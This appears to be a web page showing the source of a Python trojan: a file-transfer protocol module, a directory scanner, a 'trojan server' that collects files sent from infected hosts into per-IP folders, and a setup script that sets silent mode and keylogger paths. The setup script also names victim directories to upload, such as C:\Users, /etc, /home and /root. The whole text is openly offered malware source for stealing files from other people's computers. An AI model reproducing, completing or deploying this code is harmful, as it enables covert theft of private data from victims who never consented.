size = self.recv_data()
if not isinstance(size, int):
raise TypeError('invalid size type %s' % type(size))
logging.debug('filesize: %s', size)
return size
def recv_name(self):
path = self.recv_data()
if not isinstance(path, str):
raise TypeError('invalid name type %s' % type(path))
namelist = path.split('\t')
if '..' in namelist:
raise ValueError('dangerous path')
name = os.path.join(*namelist)
logging.debug('filename: %s', name)
return name
def send_blocks(self, fileName):
logging.debug('send blocks %s', fileName)
fp = open(fileName, 'rb')
blockID = 0
totalSize = 0
while True:
block = fp.read(self.blockSize)
if not block: break
blockID += 1
self.send_data(blockID)
self.send_data(block)
totalSize += len(block)
backID = self.recv_data()
if backID != blockID:
self.send_fail()
break
self.send_data(0)
return totalSize
def send_size(self, n):
return self.send_data(n)
def send_name(self, path):
fileName = '\t'.join(split_path(path))
return self.send_data(fileName)
def recv_content(self):
data = self.recv_data()
if not isinstance(data, bytes):
raise TypeError('invalid content type %s' % type(data))
return data
def recv_blocks(self):
totalSize = 0
lastBlockID = 0
fileName = os.path.abspath(os.path.join(self.savePath, 'TEMP%x' % int(time.time())))
dirname = os.path.dirname(fileName)
if not os.path.exists(dirname):
os.makedirs(dirname)
with open(fileName, 'wb') as fp:
while True:
blockID = self.recv_data()
if not isinstance(blockID, int):
raise TypeError('invalid type of block id %s' % type(blockID))
if blockID == 0: # end of block
break
if lastBlockID + 1 != blockID:
raise ValueError('block ID error last:%d current:%d' % (lastBlockID, blockID))
lastBlockID = blockID
block = self.recv_data()
if not isinstance(block, bytes):
raise TypeError('invalid type of block %s' % type(blockID))
if len(block) + totalSize > self.maxSize:
raise RuntimeError('exceed max file size limit')
fp.write(block)
self.send_data(blockID)
return fileName
def close(self):
self.iHandle.close()
self.oHandle.close()

def save_file(fileInfo, target):
fileName = fileInfo.get(FILE_NAME_TAG)
fileSize = fileInfo.get(FILE_SIZE_TAG)
content = fileInfo.get(FILE_CONTENT_TAG)
tempFile = fileInfo.get(FILE_BLOCKS_TAG)
if not fileName:
logging.debug('invalid filename: %s', fileName)
return False
if not fileSize:
logging.debug('invalid filename: %d', fileSize)
return False
if content or tempFile:
fullName = os.path.join(target, fileName)
dirname = os.path.dirname(fullName)
if not os.path.exists(dirname):
os.makedirs(dirname)
if content:
logging.debug('save content')
if len(content) != fileSize:
raise RuntimeError('size unmatched')
with open(fullName, 'wb') as fp:
fp.write(content)
else:
logging.debug('save blocks from %s to %s', tempFile, fullName)
if os.path.getsize(tempFile) != fileSize:
raise RuntimeError('size unmatched')
shutil.move(tempFile, fullName)
return True
else:
return False

path.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import os
import stat
from common import *

def split_path(path):
result = []
while True:
head, tail = os.path.split(path)
if tail:
result.insert(0, tail)
path = head
else:
head = head.strip('/:\\')
if head: result.insert(0, head)
break
return result

def scan_dir(path):
try:
if not isinstance(path, str): return
if not os.path.exists(path): return
st = os.stat(path)
if not(st.st_mode & stat.S_IRUSR):
return
if os.path.isdir(path):
fileList = os.listdir(path)
else:
yield path
return
except Exception as e:
logging.debug('Exception: %s %s, abort', path, str(e))
return
for name in fileList:
fullpath = os.path.join(path, name)
yield from scan_dir(fullpath) # Python3

if __name__ == '__main__':
print(split_path('/home/trojan/source_code/server.py'))

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import os
import socket
import threading
import platform
import logging
from config import *
from common import *
from inout import InOutException
from netapi import NetAPI, save_file

### change banner here ###
BANNER = b'7RJN0001 7r0j4n 53rv3r v.0.1 r313453\r\n'
BANNER += b'********************************\r\n'
BANNER += b'*** W31c0m3 70 53nd m3 f!135 ***\r\n'
BANNER += b'********************************\r\n'
##########################

MAX_CONN = 10
target_dir = save_dir.get(platform.system())

def receive_thread(conn, addr, path):
handler = NetAPI(conn)
while True:
try:
logging.debug('start recv_file()')
data = handler.recv_file()
logging.debug('return from recv_file()')
if not data:
logging.debug('receive_thread: no data, break')
break
logging.debug('verify data')
data = handler.recv_verify(data)
if not data:
logging.debug('data imcomplete')
continue
filename = os.path.join(path, addr[0])
logging.debug('save to %s', filename)
save_file(data, filename)
except InOutException as e:
logging.debug('receive_thread: got exception %s', e.args)
except socket.error as e:
logging.debug('receive_thread: got exception %s, break', e.args)
break
except Exception as e:
logging.debug('receive_thread: got exception: %s, break', str(e))
break
logging.debug('close connection')
conn.close()

################
# server start #
################

def server_start(addr):
thread_flag = True # False if debugging
threads = []
serverSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serverSocket.bind(addr)
serverSocket.listen(5)
while True:
conn, addr = serverSocket.accept()
logging.debug('send banner')
conn.send(BANNER + b'\0')
if thread_flag:
# thread
threads = thread_refresh(threads)
if len(threads) < MAX_CONN:
thread = threading.Thread(target=receive_thread, \
args=(conn, addr, target_dir,))
thread.start()
threads.append(thread)
else:
conn.close()
else:
receive_thread(conn, addr, target_dir)
serverSocket.close()

if __name__ == '__main__':
server_start(('', PORT, ))

setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import os
import myip

def build_config(fileName, parameters):
with open(fileName, 'w') as fp:
maxlen = max([len(x) for x in parameters.keys()])
for key, value in parameters.items():
fp.write('%s = %s\n' % (key.ljust(maxlen), str(value)))

if __name__ == '__main__':
parameters = {
'MAX_BANNER_LEN': 1024,
'SILENT_MODE': True,
'SERVERS': [myip.myip_wan(), myip.myip_lan()],
'PORT': 50006,
'trojan_dirs': { 'Windows': 'C:\\Trojan',
'Linux': '/tmp', },
'keylogger_dirs': { 'Windows': ['C:\\KeyLogger'], },
'upload_dirs': { 'Windows': ['C:\\Users', 'D:', 'E:', 'F:'],
'Linux': ['/etc', '/home', '/root'],},
'max_size': 16 * 1024 * 1024,
'max_file': 0,
'update_interval': 60 * 60, # seconds
'keylog_interval': 3,
'save_dir': {'Windows': 'C:\\temp',
'Linux': '/tmp', }
}
dirName = os.path.dirname(os.path.abspath(__file__))
fileName = os.path.join(dirName, 'config.py')
build_config(fileName, parameters)

评论

测试阶段